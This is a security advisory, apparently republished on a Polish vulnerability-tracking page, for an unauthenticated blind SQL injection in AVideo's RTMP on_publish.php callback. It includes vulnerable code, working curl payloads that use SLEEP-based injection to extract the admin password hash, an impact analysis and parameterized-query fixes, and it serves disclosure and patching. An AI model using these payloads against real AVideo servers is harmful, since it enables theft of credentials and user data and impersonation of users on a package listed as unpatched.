AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter
Summary
The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.
Details
Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.
Sanitization (insufficient): Line 117 strips only & and = characters:
// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);
Injection point #1 — unconditional (no p parameter needed):
At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():
// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);
Inside getLatest(), the key is interpolated into a LIKE clause without escaping:
// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE '{$key}%' ";
}
Injection point #2 — when $_GET['p'] is provided:
At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():
// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);
Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:
// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);
Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.
PoC
Injection point #1 (unconditional — simplest):
# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"
A ~5-second response time confirms injection. The payload:
- Avoids
&and=(stripped by line 117) - Avoids
_and-in positions wherecleanUpKey()would split - Uses
%23(#) to comment out the trailing%'
Data extraction — character-by-character:
# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"
Injection point #2 (via keyExists):
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"
This reaches keyExists() at line 146, producing:
SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1
Impact
An unauthenticated remote attacker can:
-
Extract all database contents via time-based blind SQL injection, including:
- User password hashes (bcrypt)
- Email addresses and personal information
- API keys, session tokens, and live stream passwords
- Site configuration and secrets stored in database tables
-
Authenticate as any user to the streaming system — extracted password hashes can be used directly as the
$_GET['p']parameter sinceon_publish.php:153compares$_GET['p'] === $user->getPassword()against the raw stored hash, allowing the attacker to start streams impersonating any user. -
Enumerate database structure — the injection can be used to query
information_schematables, mapping the entire database for further exploitation.
The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.
Recommended Fix
Use parameterized queries in both affected functions:
Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);
Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE ? ";
$formats .= "s";
$values[] = $key . '%';
}
Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:
if(!$strict){
$parts = Live::getLiveParametersFromKey($key);
$key = $parts['cleanKey'];
$sql .= " `key` LIKE ? ";
$formats = "s";
$values = [$key . '%'];
}else{
$sql .= " `key` = ? ";
$formats = "s";
$values = [$key];
}
All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka Composer | wwbn/avideo | <= 26.0 | brak poprawki |
Odnośniki
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N- Słabość (CWE)
CWE-89- Platforma
- Composer
- Paczka
wwbn/avideo- Ujawniono
- 20.03.2026
- Aktualizacja
- 11.10.2026 10:22
Źródła i licencje
OSV / GitHub Advisory Database - GHSA-8p58-35c3-ccxx - CC BY 4.0
Historia podatności: wwbn/avideo
Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 160
- Pierwsza → ostatnia
- 04.2022 06.2026
- Bez poprawki
- 143
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 14
- Wysoka 61
- Średnia 83
- Niska 2
Ujawnienia w latach
- 2022: 2
- 2023: 5
- 2024: 5
- 2025: 0
- 2026: 148
-
AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.